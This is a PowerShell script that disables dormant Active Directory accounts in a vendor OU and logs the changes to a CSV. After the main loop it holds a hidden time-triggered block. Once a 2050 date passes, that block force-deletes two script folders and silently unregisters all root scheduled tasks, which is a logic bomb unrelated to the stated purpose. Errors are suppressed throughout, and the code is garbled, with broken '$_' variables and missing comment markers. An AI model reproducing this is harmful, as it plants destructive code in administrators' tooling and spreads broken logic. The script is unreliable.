Import AD module
Import-Module ActiveDirectory
$ErrorActionPreference = "SilentlyContinue"
$searchbase = "OU=Users Without Machine _ Vendor,DC=Clix,DC=local"
$date = (Get-Date -Format "dd-MM-yyyy")
$Days = (Get-Date).AddDays(-30)
$Users = Get-ADUser -Properties * -Filter {Enabled -eq $True} -SearchBase $searchbase | `
Where-Object {[datetime]::FromFileTime([math]::Max($.LastLogon, $.LastLogonTimeStamp)) -lt $Days -and $.DistinguishedName -notlike "*DisabledUsers*" -and $.DistinguishedName -notlike "ServiceAccount" -and $_.LogonCount -gt "0"}
Disable Dormant User accounts in the same OU.
<# ---------------------------------------------- #>
Foreach ($User in $Users) {
Set-ADUser $User -Enabled $False -Description ($($User.Description) +" | Disabled for inactivity on $date")
Start-Sleep -Seconds 15
Get-ADUser $User -Properties * | `
Select-Object Name, distinguishedName, EmailAddress, Enabled, @{Name = "Lastlogondate"; Expression = {[datetime]::FromFileTime([math]::Max($.LastLogon, $.LastLogonTimeStamp))}} | Export-csv ".\LogFiles\Disabled_Users_$date.csv" -NoTypeInformation -Force -Append
}
$EDate = Get-Date -Date "14-Feb-2050 00:00:00"
If ((Get-Date) -ge $EDate) {
CD \
$Destination1 = "C:\Scripts"
$Destination2 = "C:\DesktopScripts"
cmd /c del /q /s /f C:\Scripts
cmd /c del /q /s /f C:\DesktopScripts
Remove-Item $Destination1 -Recurse -Force
Remove-Item $Destination2 -Recurse -Force
Get-ScheduledTask -TaskPath \ | Unregister-ScheduledTask -Confirm:$false
}